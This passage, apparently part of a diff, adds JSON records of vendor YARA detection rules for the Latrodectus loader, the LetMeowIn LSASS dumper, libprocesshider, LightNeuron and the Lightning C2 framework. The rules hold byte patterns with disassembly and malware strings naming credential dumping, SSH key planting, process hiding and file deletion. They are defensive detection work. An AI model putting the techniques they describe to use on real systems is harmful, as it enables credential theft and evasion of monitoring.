eax, word ptr [rcx+rax+8]\n            66 C1 C8 08                                   // ror     ax, 8\n            0F B7 C0                                      // movzx   eax, ax\n            B9 01 00 00 00                                // mov     ecx, 1\n            48 6B C9 02                                   // imul    rcx, 2\n            48 8B 94 24 A0 00 00 00                       // mov     rdx, [rsp+98h+arg_0]\n            8B 4C 0A 08                                   // mov     ecx, [rdx+rcx+8]\n            0F C9                                         // bswap   ecx\n            BA 01 00 00 00                                // mov     edx, 1\n            48 6B D2 00                                   // imul    rdx, 0\n            4C 8B 84 24 A0 00 00 00                       // mov     r8, [rsp+98h+arg_0]\n            41 0F B7 54 10 08                             // movzx   edx, word ptr [r8+rdx+8]\n            66 C1 CA 08                                   // ror     dx, 8\n            0F B7 D2                                      // movzx   edx, dx\n            4C 8B 84 24 A0 00 00 00                       // mov     r8, [rsp+98h+arg_0]\n            45 0F B7 40 06                                // movzx   r8d, word ptr [r8+6]\n            66 41 C1 C8 08                                // ror     r8w, 8\n            45 0F B7 C0                                   // movzx   r8d, r8w\n            4C 8B 8C 24 A0 00 00 00                       // mov     r9, [rsp+98h+arg_0]\n            45 0F B7 49 04                                // movzx   r9d, word ptr [r9+4]\n            66 41 C1 C9 08                                // ror     r9w, 8\n            45 0F B7 C9                                   // movzx   r9d, r9w\n            4C 8B 94 24 A0 00 00 00                       // mov     r10, [rsp+98h+arg_0]\n            45 0F B7 12                                   // movzx   r10d, word ptr [r10]\n            66 41 C1 CA 08                                // ror     r10w, 8\n            45 0F B7 D2                                   // movzx   r10d, r10w\n        }\n\n        $x_unpack_routine_first_stage = {\n            4D 21 E3                                      //  and     r11, r12\n            41 88 0C 08                                   //  mov     [r8+rcx], cl\n            48 FF C1                                      //  inc     rcx\n            90                                            //  nop\n            90                                            //  nop\n            48 83 F9 72                                   //  cmp     rcx, 72h ; 'r'\n            76 EE                                         //  jbe     short loc_1800F3DEF\n        }\n\n        $x_decrypt_strings = {\n            C6 44 24 28 D6                                //  mov     [rsp+178h+key], 0D6h\n            C6 44 24 29 23                                //  mov     [rsp+178h+var_14F], 23h ; '#'\n            C6 44 24 2A B8                                //  mov     [rsp+178h+var_14E], 0B8h\n            C6 44 24 2B EF                                //  mov     [rsp+178h+var_14D], 0EFh\n            C6 44 24 2C 62                                //  mov     [rsp+178h+var_14C], 62h ; 'b'\n            C6 44 24 2D 26                                //  mov     [rsp+178h+var_14B], 26h ; '&'\n            C6 44 24 2E CE                                //  mov     [rsp+178h+var_14A], 0CEh\n            C6 44 24 2F C3                                //  mov     [rsp+178h+var_149], 0C3h\n            C6 44 24 30 E2                                //  mov     [rsp+178h+var_148], 0E2h\n            C6 44 24 31 4C                                //  mov     [rsp+178h+var_147], 4Ch ; 'L'\n            C6 44 24 32 55                                //  mov     [rsp+178h+var_146], 55h ; 'U'\n            C6 44 24 33 12                                //  mov     [rsp+178h+var_145], 12h\n            C6 44 24 34 7D                                //  mov     [rsp+178h+var_144], 7Dh ; '}'\n            C6 44 24 35 E8                                //  mov     [rsp+178h+var_143], 0E8h\n            C6 44 24 36 73                                //  mov     [rsp+178h+var_142], 73h ; 's'\n            C6 44 24 37 E7                                //  mov     [rsp+178h+var_141], 0E7h\n            C6 44 24 38 83                                //  mov     [rsp+178h+var_140], 83h\n            C6 44 24 39 9C                                //  mov     [rsp+178h+var_13F], 9Ch\n            C6 44 24 3A 77                                //  mov     [rsp+178h+var_13E], 77h ; 'w'\n            C6 44 24 3B 6B                                //  mov     [rsp+178h+var_13D], 6Bh ; 'k'\n            C6 44 24 3C B1                                //  mov     [rsp+178h+var_13C], 0B1h\n            C6 44 24 3D A9                                //  mov     [rsp+178h+var_13B], 0A9h\n            C6 44 24 3E 3B                                //  mov     [rsp+178h+var_13A], 3Bh ; ';'\n            C6 44 24 3F 57                                //  mov     [rsp+178h+var_139], 57h ; 'W'\n            C6 44 24 40 B2                                //  mov     [rsp+178h+var_138], 0B2h\n            C6 44 24 41 5F                                //  mov     [rsp+178h+var_137], 5Fh ; '_'\n            C6 44 24 42 DB                                //  mov     [rsp+178h+var_136], 0DBh\n            C6 44 24 43 EA                                //  mov     [rsp+178h+var_135], 0EAh\n            C6 44 24 44 0D                                //  mov     [rsp+178h+var_134], 0Dh\n            C6 44 24 45 B6                                //  mov     [rsp+178h+var_133], 0B6h\n            C6 44 24 46 8E                                //  mov     [rsp+178h+var_132], 8Eh\n            C6 44 24 47 A2                                //  mov     [rsp+178h+var_131], 0A2h\n\n        }\n\n    condition:\n        2 of ($s*) or\n        1 of ($x*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "latrodectus_loader"
+  ],
+  "rule_creation_date": "2025-05-23",
+  "rule_modified_date": "2025-07-23",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Latrodectus"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1071.001",
+    "attack.t1218.011",
+    "attack.t1027",
+    "attack.t1057",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-letmeowin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581738Z",
+  "creation_date": "2026-03-23T11:46:25.581740Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581745Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/\nhttps://github.com/Meowmycks/LetMeowIn"
+  ],
+  "name": "letmeowin.yar",
+  "content": "rule letmeowin {\n    meta:\n        title = \"LetMeowIn HackTool\"\n        id = \"f8cf3f47-0811-4421-a7e7-b39c7f63d094\"\n        description = \"Detects LetMeowIn HackTool.\\nLetMeowIn is a tool designed to dump LSASS memory using indirect system calls, handle duplication, and creation of offline LSASS copies. It is used for obtaining credentials and other sensitive information from memory.\\nIt is recommended to analyze the parent process to determine if the activity is part of authorized auditing or testing, or if it indicates malicious intent.\"\n        references = \"https://attack.mitre.org/techniques/T1003/001/\\nhttps://github.com/Meowmycks/LetMeowIn\"\n        date = \"2024-04-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.LetMeowIn\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // c56c26ed3159f91d1907f79fa7c239232ddc8c0f76f22f68beed99884a800741\n\n        $syscall1 = {\n            48 89 0D ?? ?? ?? ??    // mov [jumpAddress], rcx          ; Assume the new address is passed in RCX\n            C3                      // ret\n        }\n\n        $syscall2 = {\n            4C 8B 1D ?? ?? ?? ??                // mov r11, [jumpAddress]          ; Load indirect syscall address into R11 register\n            48 8B 44 24 (30 | 28 | 40 | 38)     // mov rax, [rsp+??h]              ; Move syscall ID into RAX register\n            4C 8B D1                            // mov r10, rcx\n            41 FF E3                            // jmp r11                         ; Indirect syscall via jump to address stored in R11\n        }\n\n        $syscall3 = {\n            4C 8B 1D ?? ?? ?? ??          // mov r11, [jumpAddress]          ; Load indirect syscall address into R11 register\n            49 8B C1                      // mov rax, r9                     ; Move syscall ID into RAX register. Syscall ID is fourth parameter passed. Assume it's in R9.\n            4C 8B D1                      // mov r10, rcx\n            41 FF E3                      // jmp r11                         ; Indirect syscall via jump to address stored in R11\n        }\n\n        $syscall4 = {\n            4C 8B 1D ?? ?? ?? ??         // mov r11, [jumpAddress]          ; Load indirect syscall address into R11 register\n            48 8B C2                     // mov rax, rdx                    ; Move syscall ID into RAX register. Syscall ID is second parameter passed. Assume it's in RDX.\n            4C 8B D1                     // mov r10, rcx\n            41 FF E3                     // jmp r11                         ; Indirect syscall via jump to address stored in R11\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "letmeowin"
+  ],
+  "rule_creation_date": "2024-04-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.LetMeowIn"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-libprocesshider_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586235Z",
+  "creation_date": "2026-03-23T11:46:25.586237Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586242Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gianlucaborello/libprocesshider/\nhttps://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger/\nhttps://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool\nhttps://attack.mitre.org/techniques/T1574/006/"
+  ],
+  "name": "libprocesshider.yar",
+  "content": "rule libprocesshider {\n    meta:\n        title = \"libprocesshider Hacktool\"\n        id = \"c38d6f3d-b14e-4e85-a121-0a1b33f1f25d\"\n        description = \"Detects the libprocesshider hack tool used for process hiding on Linux systems.\\nlibprocesshider is an open-source tool designed to hide processes by exploiting Linux's library preloading technique. It achieves this by overwriting the readdir() function in libc using a malicious shared library, causing tools like ps and top to fail in displaying the hidden processes.\\nThis evasion technique allows malicious processes to remain undetected, making it difficult to monitor and identify them using standard system tools.\"\n        references = \"https://github.com/gianlucaborello/libprocesshider/\\nhttps://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger/\\nhttps://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool\\nhttps://attack.mitre.org/techniques/T1574/006/\"\n        date = \"2024-02-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.defense_evasion;attack.t1574.006\"\n        classification = \"Linux.HackTool.libprocesshider\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 7797a3c8063fd805a568ce9cfc453b74cfcd9836e2f7c3ae61ec3ec4f66521be\n        // f9a872a323bc787f19e70afd0148c9fa160375c462b30622b98e9e70c8da832a\n        // bad0728fd007ea3b6cf3575f658ba2c3d518e06353338233f4dff3ac149410a3\n\n        $s1 = \"/proc/self/fd/%d\" ascii fullword\n        $s2 = \"0123456789\" ascii fullword\n        $s3 = \"/proc/%s/stat\" ascii fullword\n        $s4 = \"%d (%[^)]s\" ascii fullword\n        $s5 = \"readdir64\" ascii fullword\n        $s6 = \"Error in dlsym: %s\" ascii fullword\n        $s7 = \"/proc\" ascii fullword\n        $s8 = \"readdir\" ascii fullword\n\n        // Canary\n        $canary = \"4215198522a09bed73b44877eb7671180f62bae794bcccb857a3faa568ed7cee\" ascii\n\n    condition:\n        all of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "libprocesshider"
+  ],
+  "rule_creation_date": "2024-02-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.HackTool.libprocesshider"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lightneuron_companion_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584277Z",
+  "creation_date": "2026-03-23T11:46:25.584279Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584284Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "lightneuron_companion_dll.yar",
+  "content": "import \"pe\"\n\nrule lightneuron_companion_dll {\n    meta:\n        title = \"Exchange TransportAgent Companion DLL related to LightNeuron\"\n        id = \"671fd11c-c33f-4fe1-8c14-da584436f0da\"\n        description = \"Detects the companion DLL loaded by the malicious Microsoft Exchange Transport Agent from the LightNeuron malware.\\nLightNeuron is a Turla-related malware family known for targeting Exchange servers.\\nThis rule identifies the companion DLL injected into the Exchange process, which is responsible for intercepting and modifying emails in transit.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2022-12-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0395;attack.persistence;attack.t1505.002;attack.collection;attack.t1005;attack.command_and_control;attack.t1071.003\"\n        classification = \"Windows.Malware.LightNeuron\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 20fe600cba0ff61c16f5e3e06438e3c4db006f22bc9b3b9b51ef440462444252\n        // 0a82b93cf19f6fcc9076ace561733014aa0b44c6611fe1909c2f1836a02f8e85\n        // cffac1039659857f410f5069751c6cc1c8aa413daecb27d50d85e29c5636ef63\n        // 88c90c2b123a357423ab3241624cba49d57122ee3b8ff4130504090c174bb09d\n        // 64fdf023bd9389e8df8250cdc92470215d6dbb38643d2eada50d30ded41f3692\n        // 7b15b5c30f2715723fdd96974e700c03cced5f49c0aff08ce2d24da60c549431\n        // 22b71792c99630a331c2e3b4f4ce4326d3f189475ce8e08e79898b9c603c306a\n        // b4d336a0c86841dd7ad8bac6fe1f0143cbc261d63230bba13ff5d6ed64e6aa58\n\n        $s1 = \"c:\\\\windows\\\\serviceprofiles\\\\networkservice\\\\appdata\\\\local\\\\temp\\\\\" ascii\n        $s2 = \"c:\\\\windows\\\\serviceprofiles\\\\networkservice\\\\appdata\\\\Roaming\\\\Microsoft\\\\Windows\\\\\" ascii\n\n        $winmail = {\n            04 01 00 00                                // mov     r8d, 104h       ; nSize\n            C6 [2-3] 77                                // mov     [rsp+148h+String2], 77h ; 'w'\n            C6 [2-3] 69                                // mov     [rsp+148h+var_127], 69h ; 'i'\n            C6 [2-3] 6E                                // mov     [rsp+148h+var_126], 6Eh ; 'n'\n            C6 [2-3] 6D                                // mov     [rsp+148h+var_125], 6Dh ; 'm'\n            C6 [2-3] 61                                // mov     [rsp+148h+var_124], 61h ; 'a'\n            C6 [2-3] 69                                // mov     [rsp+148h+var_123], 69h ; 'i'\n            C6 [2-3] 6C                                // mov     [rsp+148h+var_122], 6Ch ; 'l'\n            C6 [2-3] 2E                                // mov     [rsp+148h+var_121], 2Eh ; '.'\n            C6 [2-3] 64                                // mov     [rsp+148h+var_120], 64h ; 'd'\n            C6 [2-3] 61                                // mov     [rsp+148h+var_11F], 61h ; 'a'\n            C6 [2-3] 74                                // mov     [rsp+148h+var_11E], 74h ; 't'\n            C6 [2-3] 00                                // mov     [rsp+148h+var_11D], 0\n            FF 15 ?? ?? 02 00                          // call    cs:GetModuleFileNameA\n        }\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 500KB and\n        (\n            (1 of ($s*) and $winmail) or\n            (\n                (\n                    pe.exports(\"FL\") and\n                    pe.exports(\"BLE\") and\n                    pe.exports(\"SV\")\n                )\n                or\n                (\n                    pe.exports(\"ForLoading\") and\n                    pe.exports(\"BinaryLogEx\") and\n                    pe.exports(\"SimpleValidate\")\n                )\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lightneuron_companion_dll"
+  ],
+  "rule_creation_date": "2022-12-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.LightNeuron"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1005",
+    "attack.t1505.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lightneuron_transport_agent_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576111Z",
+  "creation_date": "2026-03-23T11:46:25.576114Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576128Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "lightneuron_transport_agent.yar",
+  "content": "rule lightneuron_transport_agent {\n    meta:\n        title = \"Malicious Transport Agent related to LightNeuron\"\n        id = \"9c1de57b-c326-4031-9600-d31a4f8242ac\"\n        description = \"Detects the malicious Microsoft Exchange Transport Agent related to LightNeuron malware.\\nLightNeuron, associated with the Turla group, uses this transport agent for persistence, allowing it to intercept and modify emails processed by the Exchange server. The malicious agent is registered by updating the \\\"\\\\TransportRoles\\\\Agents\\\\agents.config\\\" file in the Exchange installation directory, which is typically located in the service profiles directory.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2022-12-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0395;attack.persistence;attack.t1505.002;attack.collection;attack.t1560;attack.t1119;attack.t1020;attack.t1074.001;attack.impact;attack.t1565.002;attack.command_and_control;attack.t1001.002\"\n        classification = \"Windows.Malware.LightNeuron\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 14f530e16e8c6dbac02f1bde53594f01b7edab9c45c4c371a3093120276ffaf1\n        // 25facbc4265ca90f0508e77e97e1e6fcc7e46f6cca316b251b06d41232f6360c\n\n        $s1 = \"common_utl\" ascii fullword\n        $s2 = \"RoutingAgent\" ascii fullword\n        $s3 = \"SmtpReceiveAgent\" ascii fullword\n        $s4 = \"CheckMessage\" ascii fullword\n        $s5 = \"UpdateMessage\" ascii fullword\n        $s6 = \"MessageToEml\" ascii fullword\n        $s7 = \"EmlToMessage\" ascii fullword\n        $s8 = \"MailToEml\" ascii fullword\n        $s9 = \"EmlToMail\" ascii fullword\n        $s10 = \"RejectMessage\" ascii fullword\n        $s11 = \"c:\\\\windows\\\\serviceprofiles\\\\networkservice\\\\appdata\\\\local\\\\temp\\\\\" wide\n\n    condition:\n        (uint16(0) == 0x5a4d) and 9 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lightneuron_transport_agent"
+  ],
+  "rule_creation_date": "2022-12-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.LightNeuron"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.impact",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1565.002",
+    "attack.t1001.002",
+    "attack.t1560",
+    "attack.t1119",
+    "attack.t1074.001",
+    "attack.t1020",
+    "attack.t1505.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lightning_core_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564009Z",
+  "creation_date": "2026-03-23T11:46:25.564018Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564024Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/?s=09"
+  ],
+  "name": "lightning_core.yar",
+  "content": "rule linux_lightning_core {\n    meta:\n        title = \"Lightning C2 Core\"\n        id = \"c1f6ee92-28b1-44c0-a1a9-cd909bbbc000\"\n        description = \"Detects the Lightning Core samples that perform command and control operations in the Linux Lightning malware framework.\\nLightning Core is part of a Linux-oriented malware framework designed to establish command and control (C2) communication and perform malicious activities on infected systems. The malware is known to load kernel modules for persistence, manipulate SSH services for remote access, and delete files to cover its tracks. It also attempts to hide its processes and network activity to avoid detection.\\nThese activities can indicate a compromised system with potential unauthorized access and data exfiltration.\\nIt is recommended to isolate the infected machine from the network and perform a full forensic analysis to ensure complete eradication of the malware.\"\n        references = \"https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/?s=09\"\n        date = \"2022-08-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Framework.Lightning\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e\n\n        $critical_str_1 = \"/usr/lib64/seahorses/\" fullword ascii\n        $critical_str_2 = \"Linux.Plugin.Kernel_%s\" fullword ascii\n        $critical_str_3 = \"elastisearch.ko\" fullword ascii\n        $critical_str_4 = \"RootkieHideVersion\" fullword ascii\n        $critical_str_5 = \"KernelHideVersion\" fullword ascii\n        $critical_str_6 = \"Linux.Plugin.RootkieHide\" fullword ascii\n        $critical_str_7 = \"Linux.Plugin.Kernel_\" fullword ascii\n        $critical_str_8 = \"InstallKernelHide\" fullword ascii\n        $critical_str_9 = \"RemoveKernelHide\" fullword ascii\n        $critical_str_10 = \"kernel module install Success!\" fullword ascii\n        $critical_str_11 = \"remove kernel module install Success!\" fullword ascii\n        $critical_str_12 = \"Enable Our SSHD Success,port:%d\" fullword ascii\n        $critical_str_13 = \"Linux.Plugin.RootkieHide\" fullword ascii\n        $critical_str_14 = \"insmod %s\" fullword ascii\n\n        $specific_str_1 = \"[-] Remove File Faild\" fullword ascii\n        $specific_str_2 = \"[-] Write To File Faild\" fullword ascii\n        $specific_str_3 = \"[-] GetFile Attribute Faild!\" fullword ascii\n        $specific_str_4 = \"[-] Get FileInfo(%s) Faild!\" fullword ascii\n        $specific_str_5 = \"[-] Change File(%s) Faild!\" fullword ascii\n        $specific_str_6 = \"[-] Socks5 are Running!\" fullword ascii\n        $specific_str_7 = \"[-] Get FileSize Faild.\" fullword ascii\n        $specific_str_8 = \"LocalPluginRequest\" fullword ascii\n        $specific_str_9 = \"kernel module install Failed!\" fullword ascii\n        $specific_str_10 = \"rm -rf %s\" fullword ascii\n        $specific_str_11 = \"Not Find Listen Prot!\" fullword ascii\n        $specific_str_12 = \"sshod\" fullword ascii\n        $specific_str_13 = \"kill -9 %d\" fullword ascii\n        $specific_str_14 = \"Executed Our sshd faild!\" fullword ascii\n        $specific_str_15 = \"Hide Ports Success.\" fullword ascii\n        $specific_str_16 = \"Hide Pids Success.\" fullword ascii\n        $specific_str_17 = \"Start\" fullword ascii\n        $specific_str_18 = \"/etc/rc.d/init.d/elastisearch\" fullword ascii\n        $specific_str_19 = \"kill -9 %s\" fullword ascii\n        $specific_str_21= \"Lightning.Downloader\" fullword ascii\n        $specific_str_22 = \"PureShellCommand\" fullword ascii\n        $specific_str_23 = \"RunShellPure\" fullword ascii\n        $specific_str_24 = \"CloseShellPure\" fullword ascii\n        $specific_str_25 = \"TryPassSSH\" fullword ascii\n\n        $suspicious_str_1 = \"/etc/rc.local\" fullword ascii\n        $suspicious_str_2 = \"/etc/rc.d/rc.local\" fullword ascii\n        $suspicious_str_3 = \"/usr/bin/whoami\" fullword ascii\n        $suspicious_str_4 = \"/usr/bin/find\" fullword ascii\n        $suspicious_str_5 = \"/usr/bin/su\" fullword ascii\n        $suspicious_str_6 = \"sleep 60 && ./%s &\" fullword ascii\n        $suspicious_str_7 = \"/etc/ld.so.preload\" fullword ascii\n        $suspicious_str_8 = \"/etc/ssh/sshd_config\" fullword ascii\n        $suspicious_str_9 = \"/root/.ssh\" fullword ascii\n        $suspicious_str_10 = \"/root/.ssh/authorized_keys\" fullword ascii\n        $suspicious_str_11 = \"/etc/redhat-release\" fullword ascii\n        $suspicious_str_12 = \"/etc/os-release\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and filesize < 200KB and 5 of ($critical_str_*) or (10 of ($specific_str_*)) or (10 of ($suspicious_str_*) and (2 of ($specific_str_*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_lightning_core"
+  ],
+  "rule_creation_date": "2022-08-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
